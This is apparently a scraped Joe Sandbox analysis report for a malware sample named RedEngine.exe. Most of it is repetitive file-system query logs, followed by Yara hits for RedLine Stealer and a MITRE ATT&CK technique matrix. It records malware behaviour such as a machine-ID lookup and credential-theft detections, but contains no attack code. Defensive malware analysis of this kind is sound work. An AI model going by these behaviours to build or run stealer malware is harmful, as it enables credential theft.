Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\tzdata\America\Argentina VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\base_library.zip VolumeInformation

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 14_2_00007FF741BCC330 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

14_2_00007FF741BCC330

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe

Code function: 42_2_00007FFB1C5325C0 GetUserNameW,

42_2_00007FFB1C5325C0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 14_2_00007FF741BE4F10 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

14_2_00007FF741BE4F10

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe

Code function: 13_2_0040559A GetVersionExW,GetVersionExW,

13_2_0040559A

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 0000000B.00000002.1678511629.0000000002471000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mgne4i3n.t1d0.exe PID: 3024, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 0000000B.00000002.1678511629.0000000002471000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mgne4i3n.t1d0.exe PID: 3024, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Windows Management Instrumentation	22 Scripting	1 DLL Side-Loading	211 Disable or Modify Tools	31 Input Capture	2 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	12 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	31 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	212 Command and Scripting Interpreter	2 Scheduled Task/Job	2 Scheduled Task/Job	41 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	46 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	1 Bootkit	Network Logon Script	1 DLL Side-Loading	LSA Secrets	441 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	61 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	61 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Bootkit	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RedEngine.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
RedEngine.exe